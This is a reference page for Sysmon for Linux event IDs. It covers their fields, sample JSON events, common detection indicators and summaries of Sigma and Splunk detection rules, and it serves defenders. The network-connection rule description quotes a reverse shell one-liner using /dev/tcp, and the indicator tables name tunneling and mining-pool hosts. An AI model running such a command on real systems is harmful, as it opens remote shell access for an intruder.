Sysmon for Linux

Event	Title	Description	Sample	Rule
1	Process Create	A new process has been created.	Y	Y
2	A process changed a file creation time	A process explicitly modified a file creation time.	N	N
3	Network connection	A network connection was detected.	Y	Y
4	Sysmon service state changed	The Sysmon for Linux service state changed (started or stopped).	Y	N
5	Process terminated	A process has terminated.	Y	N
7	Shared library loaded	A shared library (.so) was loaded into a process address space.	N	N
9	RawAccessRead	A process performed a raw read operation on a device.	Y	N
10	Process accessed	A process opened a handle to another process (for example to read or write its memory).	Y	N
11	File created	A file was created or overwritten.	Y	Y
16	Sysmon config state changed	The Sysmon for Linux configuration was updated.	Y	N
22	DNS query	A DNS query was issued by a process.	N	N
23	File Delete archived	A file was deleted.	Y	N
100	BPF program activity	An eBPF operation was observed via the bpf() syscall (for example BPF_PROG_LOAD).	Y	N
255	Error	Sysmon for Linux encountered an error.	N	N

Event ID 1: Process Create

Description

A new process has been created. Provides the full command line, image path, process GUID, parent process information, and user context. Equivalent to Sysmon for Windows Event ID 1.

Fields #

Name	Description	Rules
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the created process
`ProcessId`	Process ID of the created process
`Image`	File path of the process being created	460 detection rules
`FileVersion`	Version of the image associated with the process
`Description`	Description of the image associated with the process
`Product`	Product name the image belongs to
`Company`	Company name the image belongs to
`OriginalFileName`	Original file name
`CommandLine`	Arguments passed to the executable	2220 detection rules
`CurrentDirectory`	Current working directory of the process	10 detection rules
`User`	Name of the user who created the process	7 detection rules
`LogonGuid`	Logon GUID of the user who created the process
`LogonId`	Logon ID of the user who created the process	2 detection rules
`TerminalSessionId`	ID of the terminal session
`Hashes`	Hashes captured by Sysmon driver
`ParentProcessGuid`	Process GUID of the parent process
`ParentProcessId`	Process ID of the parent process
`ParentImage`	File path of the parent process	35 detection rules
`ParentCommandLine`	Arguments passed to the parent process executable	32 detection rules
`ParentUser`	Name of the user who owns the parent process

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 1,
    "version": 5,
    "level": 4,
    "task": 1,
    "opcode": 0,
    "keywords": 9223372036854775808,
    "time_created": "2026-07-09T22:48:08.452677000+00:00",
    "event_record_id": 2877405,
    "correlation": {},
    "execution": {
      "process_id": 795100,
      "thread_id": 795100
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "RuleName": "-",
    "UtcTime": "2026-07-09 22:48:08.408",
    "ProcessGuid": "{370e939b-2528-6a50-8912-6d0000000000}",
    "ProcessId": "796195",
    "Image": "/usr/bin/python3.11",
    "FileVersion": "-",
    "Description": "-",
    "Product": "-",
    "Company": "-",
    "OriginalFileName": "-",
    "CommandLine": "python3 /tmp/dworacle_sysmon_796170/bpf_dwcap_1783637283.py dwcap_1783637283",
    "CurrentDirectory": "/home/user",
    "User": "root",
    "LogonGuid": "{370e939b-0000-0000-0000-000000000000}",
    "LogonId": "0",
    "TerminalSessionId": "211",
    "IntegrityLevel": "no level",
    "Hashes": "SHA1=1d7e086c5b65460bae260b1a029201d718d176bb,MD5=61b1600a764d9e2947a52ad348b2b0dd,SHA256=a83c0370d91532c96d4060a0e7c107d1f2889dad8a98e03395e86ef0373fd467",
    "ParentProcessGuid": "{370e939b-2523-6a50-9ddb-a73457550000}",
    "ParentProcessId": "796170",
    "ParentImage": "/usr/bin/bash",
    "ParentCommandLine": "bash",
    "ParentUser": "root"
  },
  "message": ""
}

Example keys not documented in the fields table: IntegrityLevel

Common Indicators #

Field/value combinations most frequently checked by detection rules targeting this event, derived from cross-vendor predicate analysis.

Field	Kind	Value	Rules	Vendors
`CommandLine`	contains	`sudo`	22 rules	splunk
`CommandLine`	contains	`/bin/sh`	11 rules	sigma
`CommandLine`	contains	`/bin/bash`	8 rules	sigma
`CommandLine`	contains	`/bin/zsh`	8 rules	sigma
`CommandLine`	contains	`/bin/dash`	7 rules	sigma
`CommandLine`	contains	`/bin/fish`	7 rules	sigma
`CommandLine`	contains	`/tmp/`	7 rules	sigma
`process_name`	in	`bash`	10 rules	splunk
`process_name`	in	`dash`	9 rules	splunk
`Image`	ends_with	`/curl`	9 rules	sigma
`Image`	ends_with	`/esxcli`	9 rules	sigma
`Image`	ends_with	`/cat`	8 rules	sigma
`Image`	ends_with	`/bash`	7 rules	sigma
`Image`	ends_with	`/head`	7 rules	sigma
`Image`	ends_with	`/more`	7 rules	sigma

Detection Rules #

Full rule details for this event, including ATT&CK technique mappings and native queries →

Sigma #

Shell Invocation via Apt - Linux source medium: Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.T1083
Scheduled Task/Job At source low: Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious codeT1053, T1053.002
Audit Rules Deleted Via Auditctl source high: Detects the execution of 'auditctl' with the '-D' command line parameter, which deletes all configured audit rules and watches on Linux systems. This technique is commonly used by attackers to disable audit logging and cover their tracks by removing monitoring capabilities. Removal of audit rules can significantly impair detection of malicious activities on the affected system.T1685, T1685.004

Show 17 more (144 total) on the rules page

Splunk #

Linux Add User Account source: The following analytic detects the creation of new user accounts on Linux systems using commands like "useradd" or "adduser." It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line…T1136, T1136.001
Linux Adding Crontab Using List Parameter source: The following analytic detects suspicious modifications to cron jobs on Linux systems using the crontab command with list parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and…T1053, T1053.003
Linux Apparmor Bypass Via Aaexec source: The following analytic detects aa-exec being used to launch a binary under the trinity, chrome, or flatpak AppArmor profiles where the executed target is not the legitimate application those profiles are intended to confine. This behavior…T1068

Show 17 more (97 total) on the rules page

Event ID 2: A process changed a file creation time

Description

A process explicitly modified a file creation time. Helps track the real creation time of files on Linux.

Fields #

Name	Description
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the process that changed the file creation time
`ProcessId`	Process ID of the process changing the file creation time
`Image`	File path of the process that changed the file creation time
`TargetFilename`	Full path name of the file
`CreationUtcTime`	New creation time of the file
`PreviousCreationUtcTime`	Previous creation time of the file
`User`	Name of the user who changed the file creation time

Event ID 3: Network connection

Description

A network connection was detected. Logs TCP/UDP connections with source and destination host, port, and process information.

Fields #

Name	Description	Rules
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the process that made the network connection
`ProcessId`	Process ID of the process that made the network connection
`Image`	File path of the process that made the network connection	1 detection rule
`User`	Name of the user who owns the process
`Protocol`	Network protocol used (tcp or udp)
`Initiated`	Whether the process initiated the connection	2 detection rules
`SourceIsIpv6`	Whether the source address is IPv6
`SourceIp`	Source IP address
`SourceHostname`	Source hostname
`SourcePort`	Source port number
`DestinationIsIpv6`	Whether the destination address is IPv6
`DestinationIp`	Destination IP address	2 detection rules
`DestinationHostname`	Destination hostname	31 detection rules
`DestinationPort`	Destination port number	10 detection rules

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 3,
    "version": 5,
    "level": 4,
    "task": 3,
    "opcode": 0,
    "keywords": 9223372036854775808,
    "time_created": "2026-07-09T22:48:09.820789000+00:00",
    "event_record_id": 2877414,
    "correlation": {},
    "execution": {
      "process_id": 795100,
      "thread_id": 795100
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "RuleName": "-",
    "UtcTime": "2026-07-09 22:48:09.825",
    "ProcessGuid": "{370e939b-07a2-6a4f-0f02-3b60a7550000}",
    "ProcessId": "1255",
    "Image": "/opt/erlang/lib/erlang/erts-14.2.5.12/bin/beam.smp",
    "User": "root",
    "Protocol": "tcp",
    "Initiated": "false",
    "SourceIsIpv6": "false",
    "SourceIp": "203.0.113.5",
    "SourceHostname": "-",
    "SourcePort": "49522",
    "SourcePortName": "-",
    "DestinationIsIpv6": "false",
    "DestinationIp": "203.0.113.3",
    "DestinationHostname": "-",
    "DestinationPort": "15672",
    "DestinationPortName": "-"
  },
  "message": ""
}

Example keys not documented in the fields table: DestinationPortName, SourcePortName

Common Indicators #

Field/value combinations most frequently checked by detection rules targeting this event, derived from cross-vendor predicate analysis.

Field	Kind	Value	Rules	Vendors
`Initiated`	eq	`true`	2 rules	sigma
`DestinationHostname`	contains	`tunnel.ap.ngrok.com`	1 rule	sigma
`DestinationHostname`	contains	`tunnel.au.ngrok.com`	1 rule	sigma
`DestinationHostname`	contains	`tunnel.eu.ngrok.com`	1 rule	sigma
`DestinationHostname`	contains	`tunnel.in.ngrok.com`	1 rule	sigma
`DestinationHostname`	contains	`tunnel.jp.ngrok.com`	1 rule	sigma
`DestinationHostname`	contains	`tunnel.sa.ngrok.com`	1 rule	sigma
`DestinationHostname`	contains	`tunnel.us.ngrok.com`	1 rule	sigma
`DestinationHostname`	ends_with	`.localto.net`	1 rule	sigma
`DestinationHostname`	ends_with	`.localtonet.com`	1 rule	sigma
`DestinationHostname`	eq	`ca.minexmr.com`	1 rule	sigma
`DestinationHostname`	eq	`de.minexmr.com`	1 rule	sigma
`DestinationHostname`	eq	`fr.minexmr.com`	1 rule	sigma
`DestinationHostname`	eq	`mine.c3pool.com`	1 rule	sigma
`DestinationHostname`	eq	`monerocean.stream`	1 rule	sigma

Detection Rules #

Full rule details for this event, including ATT&CK technique mappings and native queries →

Sigma #

Linux Reverse Shell Indicator source critical: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')T1059, T1059.004
Linux Crypto Mining Pool Connections source high: Detects process connections to a Monero crypto mining poolT1496
Communication To LocaltoNet Tunneling Service Initiated - Linux source high: Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.T1090, T1102, T1572

Show 2 more (5 total) on the rules page

Splunk #

Linux Netcat Outbound Connection source: The following analytic detects outbound network connections originating from Netcat or Netcat-like binaries on Linux systems. Netcat is a versatile networking utility that, while legitimate in some contexts, is frequently abused by…T1059, T1059.004

Event ID 4: Sysmon service state changed

Description

The Sysmon for Linux service state changed (started or stopped).

Fields #

Name	Description
`UtcTime`	Time in UTC when event was created
`State`	New state of the Sysmon service (Started or Stopped)
`Version`	Sysmon version
`SchemaVersion`	Sysmon configuration schema version

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 4,
    "version": 3,
    "level": 4,
    "task": 4,
    "opcode": 0,
    "keywords": 9223372036854775808,
    "time_created": "2026-06-21T17:29:54.981574000+00:00",
    "event_record_id": 2445001,
    "correlation": {},
    "execution": {
      "process_id": 308429,
      "thread_id": 308429
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "UtcTime": "2026-06-21 17:29:54.981",
    "State": "Stopped",
    "Version": "1.5.1",
    "SchemaVersion": "4.90"
  },
  "message": ""
}

Event ID 5: Process terminated

Description

A process has terminated. Logs the process GUID, PID, and image path of the terminated process.

Fields #

Name	Description
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the terminated process
`ProcessId`	Process ID of the terminated process
`Image`	File path of the terminated process
`User`	Name of the user who owned the process

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 5,
    "version": 3,
    "level": 4,
    "task": 5,
    "opcode": 0,
    "keywords": 9223372036854775808,
    "time_created": "2026-07-09T22:48:05.251974000+00:00",
    "event_record_id": 2877366,
    "correlation": {},
    "execution": {
      "process_id": 795100,
      "thread_id": 795100
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "RuleName": "-",
    "UtcTime": "2026-07-09 22:48:05.256",
    "ProcessGuid": "{370e939b-2524-6a50-0976-28c8c6550000}",
    "ProcessId": "796178",
    "Image": "/tmp/dworacle_sysmon_796170/sleep_dwcap_1783637283",
    "User": "root"
  },
  "message": ""
}

Event ID 7: Shared library loaded

Description

A shared library (.so) was loaded into a process address space. Logs the image, loaded library path, and hash information.

Fields #

Name	Description
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the process loading the library
`ProcessId`	Process ID of the process loading the library
`Image`	File path of the process loading the library
`ImageLoaded`	Full path of the shared library loaded
`FileVersion`	Version of the loaded shared library
`Description`	Description of the loaded shared library
`Product`	Product name the shared library belongs to
`Company`	Company name the shared library belongs to
`OriginalFileName`	Original file name of the shared library
`Hashes`	Hashes of the loaded shared library
`Signed`	Whether the shared library is signed
`Signature`	Signer of the shared library
`SignatureStatus`	Status of the signature verification
`User`	Name of the user who owns the process

Event ID 9: RawAccessRead

Description

A process performed a raw read operation on a device. Useful for detecting attempts to read data outside the filesystem layer.

Fields #

Name	Description
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the process performing raw access
`ProcessId`	Process ID of the process performing raw access
`Image`	File path of the process performing raw access
`Device`	Target device of the raw access read
`User`	Name of the user who owns the process

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 9,
    "version": 2,
    "level": 4,
    "task": 9,
    "opcode": 0,
    "keywords": 9223372036854775808,
    "time_created": "2026-07-09T22:48:07.351794000+00:00",
    "event_record_id": 2877388,
    "correlation": {},
    "execution": {
      "process_id": 795100,
      "thread_id": 795100
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "RuleName": "-",
    "UtcTime": "2026-07-09 22:48:07.356",
    "ProcessGuid": "{370e939b-2527-6a50-1981-ab0494550000}",
    "ProcessId": "796188",
    "Image": "/usr/bin/dd",
    "Device": "/dev/vda",
    "User": "-"
  },
  "message": ""
}

Event ID 10: Process accessed

Description

A process opened a handle to another process (for example to read or write its memory). Logs the source and target process, the granted access rights, and the call stack. Equivalent to Sysmon for Windows Event ID 10.

Fields #

Name	Description
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`SourceProcessGUID`	Process GUID of the source process that opened the target
`SourceProcessId`	Process ID of the source process
`SourceThreadId`	Thread ID within the source process that made the access
`SourceImage`	File path of the source process
`TargetProcessGUID`	Process GUID of the target process being accessed
`TargetProcessId`	Process ID of the target process
`TargetImage`	File path of the target process
`GrantedAccess`	Access rights the source process requested on the target; always 0 on Linux (the eBPF sensor does not populate it)
`CallTrace`	Stack trace at the point of access
`SourceUser`	Name of the user who owns the source process
`TargetUser`	Name of the user who owns the target process

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 10,
    "version": 3,
    "level": 4,
    "task": 10,
    "opcode": 0,
    "keywords": 9223372036854775808,
    "time_created": "2026-07-09T22:48:07.543099000+00:00",
    "event_record_id": 2877395,
    "correlation": {},
    "execution": {
      "process_id": 795100,
      "thread_id": 795100
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "RuleName": "-",
    "UtcTime": "2026-07-09 22:48:07.547",
    "SourceProcessGUID": "{370e939b-2527-6a50-8912-6d0000000000}",
    "SourceProcessId": "796190",
    "SourceThreadId": "796190",
    "SourceImage": "/usr/bin/python3.11",
    "TargetProcessGUID": "{370e939b-2527-6a50-09f6-16574b560000}",
    "TargetProcessId": "796191",
    "TargetImage": "/usr/bin/sleep",
    "GrantedAccess": "0x0",
    "CallTrace": "-",
    "SourceUser": "root",
    "TargetUser": "root"
  },
  "message": ""
}

Event ID 11: File created

Description

A file was created or overwritten. Logs the creating process and the target file path.

Fields #

Name	Description	Rules
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the process that created the file
`ProcessId`	Process ID of the process that created the file
`Image`	File path of the process that created the file	4 detection rules
`TargetFilename`	Full path of the created file	183 detection rules
`CreationUtcTime`	Creation time of the file in UTC
`User`	Name of the user who owns the process

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 11,
    "version": 2,
    "level": 4,
    "task": 11,
    "opcode": 0,
    "keywords": 9223372036854775808,
    "time_created": "2026-07-09T22:48:08.401012000+00:00",
    "event_record_id": 2877402,
    "correlation": {},
    "execution": {
      "process_id": 795100,
      "thread_id": 795100
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "RuleName": "-",
    "UtcTime": "2026-07-09 22:48:08.405",
    "ProcessGuid": "{370e939b-2528-6a50-9ddb-a73457550000}",
    "ProcessId": "796194",
    "Image": "/usr/bin/bash",
    "TargetFilename": "/tmp/dworacle_sysmon_796170/bpf_dwcap_1783637283.py",
    "CreationUtcTime": "2026-07-09 22:48:08.405",
    "User": "-"
  },
  "message": ""
}

Common Indicators #

Field/value combinations most frequently checked by detection rules targeting this event, derived from cross-vendor predicate analysis.

Field	Kind	Value	Rules	Vendors
`event_action`	eq	`deleted`	8 rules	splunk
`event_action`	eq	`created`	2 rules	splunk
`event_action`	in	`created`	2 rules	splunk
`event_action`	in	`modified`	2 rules	splunk
`TargetFilename`	contains	`/etc/profile.d/`	2 rules	sigma, splunk
`TargetFilename`	ends_with	`/etc/doas.conf`	2 rules	sigma, splunk
`TargetFilename`	ends_with	`.class`	1 rule	sigma
`TargetFilename`	ends_with	`.java`	1 rule	sigma
`TargetFilename`	ends_with	`.jsp`	1 rule	sigma
`TargetFilename`	ends_with	`.pth`	1 rule	sigma
`TargetFilename`	regex_match	`(?i)/lib/python3\.([5-9]\|[0-9]{2})/site-packages/`	1 rule	sigma
`numOfDelFilePath`	ge	`200`	2 rules	splunk
`Image`	contains	`/python3`	1 rule	sigma
`Image`	ends_with	`/curl`	1 rule	sigma
`Image`	ends_with	`/wget`	1 rule	sigma

Detection Rules #

Full rule details for this event, including ATT&CK technique mappings and native queries →

Sigma #

Linux Doas Conf File Creation source medium: Detects the creation of doas.conf file in linux host platform.T1548
Persistence Via Sudoers.d Files source medium: Detects the creation or modification of files within the "sudoers.d" directory on Linux systems. Such activity may indicate an attempt to establish or maintain privilege escalation by granting specific users elevated permissions. Unauthorized changes to sudoers files are a common technique used by attackers to persist administrative access.T1548, T1548.003
New Cron File Created source low: Detects the creation of cron files in Cron directories, which could indicate potential persistence mechanisms being established by an attacker. Note that not all cron file creations are malicious - legitimate system administration activities and software installations may also create cron files. This detection should be investigated in context, considering factors such as the user creating the file, the timing of creation, and the contents of the cron job. Focus investigation on unexpected cron files created by non-administrative users or during suspicious timeframes. Additionally, it is recommended to review the contents of the newly created cron files to assess their intent. Furthermore, it is suggested to baseline normal cron file creation and apply additional filters to reduce false positives based on the specific environment.T1053, T1053.003

Show 15 more (18 total) on the rules page

Splunk #

Linux Account Manipulation Of SSH Config and Keys source: The following analytic detects the deletion of SSH keys on a Linux machine. It leverages filesystem event logs to identify when files within "/etc/ssh/" or "~/.ssh/" are deleted. This activity is significant because attackers may delete…T1070, T1070.004, T1485
Linux Add Files In Known Crontab Directories source: The following analytic detects unauthorized file creation in known crontab directories on Unix-based systems. It leverages filesystem data to identify new files in directories such as /etc/cron* and /var/spool/cron/*. This activity is…T1053, T1053.003
Linux At Allow Config File Creation source: The following analytic detects the creation of the /etc/at.allow or /etc/at.deny configuration files in Linux. It leverages file creation events from the Endpoint datamodel to identify when these files are created. This activity is…T1053, T1053.003

Show 17 more (25 total) on the rules page

Event ID 16: Sysmon config state changed

Description

The Sysmon for Linux configuration was updated. Logs the new configuration hash.

Fields #

Name	Description
`UtcTime`	Time in UTC when event was created
`Configuration`	Name of the Sysmon configuration file
`ConfigurationFileHash`	Hash of the Sysmon configuration file

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 16,
    "version": 3,
    "level": 4,
    "task": 16,
    "opcode": 0,
    "keywords": 9223372036854775808,
    "time_created": "2026-06-21T17:29:56.377582000+00:00",
    "event_record_id": 2445002,
    "correlation": {},
    "execution": {
      "process_id": 313895,
      "thread_id": 313895
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "UtcTime": "2026-06-21 17:29:56.377",
    "Configuration": "/opt/sysmon/config.xml",
    "ConfigurationFileHash": "SHA1=827f50f67b592c10093ae52baa2b2c8b8472092c,MD5=826f4a072b7fd5787904d003ddc2748a,SHA256=8678f75b19b86da3d957f4eb76f894d6bb19737b7a404aa2d943588def9f795c"
  },
  "message": ""
}

Event ID 22: DNS query

Description

A DNS query was issued by a process. Logs the queried domain name and query results.

Fields #

Name	Description
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the process that issued the DNS query
`ProcessId`	Process ID of the process that issued the DNS query
`QueryName`	DNS name queried
`QueryStatus`	Status of the DNS query
`QueryResults`	Results of the DNS query
`Image`	File path of the process that issued the DNS query
`User`	Name of the user who owns the process

Event ID 23: File Delete archived

Description

A file was deleted. Logs the deleting process and the target file. Sysmon for Linux never preserves an archived copy and never computes hashes for this event.

Fields #

Name	Description
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the process that deleted the file
`ProcessId`	Process ID of the process that deleted the file
`User`	Name of the user who owns the process
`Image`	File path of the process that deleted the file
`TargetFilename`	Full path of the deleted file
`Hashes`	Hashes of the deleted file; always blank on Linux (the sensor sets an invalid hash algorithm, so the field never carries content)
`IsExecutable`	Whether the deleted file was executable; always 0 on Linux (the eBPF probes never compute it)

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 23,
    "version": 5,
    "level": 4,
    "task": 23,
    "opcode": 0,
    "keywords": 9223372036854775808,
    "time_created": "2026-07-09T22:48:05.254112000+00:00",
    "event_record_id": 2877369,
    "correlation": {},
    "execution": {
      "process_id": 795100,
      "thread_id": 795100
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "RuleName": "-",
    "UtcTime": "2026-07-09 22:48:05.258",
    "ProcessGuid": "{370e939b-2525-6a50-19fa-81fe48560000}",
    "ProcessId": "796179",
    "User": "-",
    "Image": "/usr/bin/rm",
    "TargetFilename": "/tmp/dworacle_sysmon_796170/file_dwcap_1783637283.txt",
    "Hashes": "-",
    "IsExecutable": "-",
    "Archived": "-"
  },
  "message": ""
}

Example keys not documented in the fields table: Archived

Event ID 100: BPF program activity

Description

An eBPF operation was observed via the bpf() syscall (for example BPF_PROG_LOAD). Logs the BPF command, program type, program id, and program name, plus the issuing process and user. Specific to Sysmon for Linux; no Sysmon for Windows equivalent.

Fields #

Name	Description
`RuleName`	Custom tag mapped to event
`UtcTime`	Time in UTC when event was created
`ProcessGuid`	Process GUID of the process issuing the BPF operation
`ProcessId`	Process ID of the process issuing the BPF operation
`Image`	File path of the process issuing the BPF operation
`User`	Name of the user who owns the process
`BpfCommand`	bpf() syscall command (for example BPF_PROG_LOAD)
`BpfProgramType`	Type of the eBPF program (for example SOCKET_FILTER)
`BpfProgramId`	Kernel-assigned identifier of the eBPF program
`BpfProgramName`	Name of the eBPF program

Example Sysmon Event #

{
  "system": {
    "provider": "Linux-Sysmon",
    "guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}",
    "event_source_name": "",
    "event_id": 100,
    "version": 0,
    "level": 0,
    "task": 0,
    "opcode": 0,
    "keywords": 0,
    "time_created": "2026-07-09T22:48:08.452952000+00:00",
    "event_record_id": 2877406,
    "correlation": {},
    "execution": {
      "process_id": 795100,
      "thread_id": 795100
    },
    "channel": "Linux-Sysmon/Operational",
    "computer": "HOST-REDACTED",
    "security": {
      "user_id": "0"
    }
  },
  "event_data": {
    "RuleName": "-",
    "UtcTime": "2026-07-09 22:48:08.432",
    "ProcessGuid": "{370e939b-2528-6a50-8912-6d0000000000}",
    "ProcessId": "796195",
    "Image": "/usr/bin/python3.11",
    "User": "root",
    "BpfCommand": "BPF_PROG_LOAD",
    "BpfProgramType": "SOCKET_FILTER",
    "BpfProgramId": "3",
    "BpfProgramName": "dwcap_178363728"
  },
  "message": ""
}

Event ID 255: Error

Description

Sysmon for Linux encountered an error. Logged when the driver or service encounters an unexpected condition.

Fields #

Name	Description
`UtcTime`	Time in UTC when the error occurred
`ID`	Event ID that encountered the error
`Description`	Description of the error

References

Sysinternals: Sysmon for Linux (eBPF sensor)

Sysmon for Linux

Event ID 1: Process Create

Description

Fields #

Example Sysmon Event #

Common Indicators #

Detection Rules #

Sigma #

Splunk #

Related Events #

Event ID 2: A process changed a file creation time

Description

Fields #

Event ID 3: Network connection

Description

Fields #

Example Sysmon Event #

Common Indicators #

Detection Rules #

Sigma #

Splunk #

Event ID 4: Sysmon service state changed

Description

Fields #

Example Sysmon Event #

Event ID 5: Process terminated

Description

Fields #

Example Sysmon Event #

Event ID 7: Shared library loaded

Description

Fields #

Event ID 9: RawAccessRead

Description

Fields #

Example Sysmon Event #

Event ID 10: Process accessed

Description

Fields #

Example Sysmon Event #

Event ID 11: File created

Description

Fields #

Example Sysmon Event #

Common Indicators #

Detection Rules #

Sigma #

Splunk #

Related Events #

Event ID 16: Sysmon config state changed

Description

Fields #

Example Sysmon Event #

Event ID 22: DNS query

Description

Fields #

Event ID 23: File Delete archived

Description

Fields #

Example Sysmon Event #

Event ID 100: BPF program activity

Description

Fields #

Example Sysmon Event #

Event ID 255: Error

Description

Fields #

References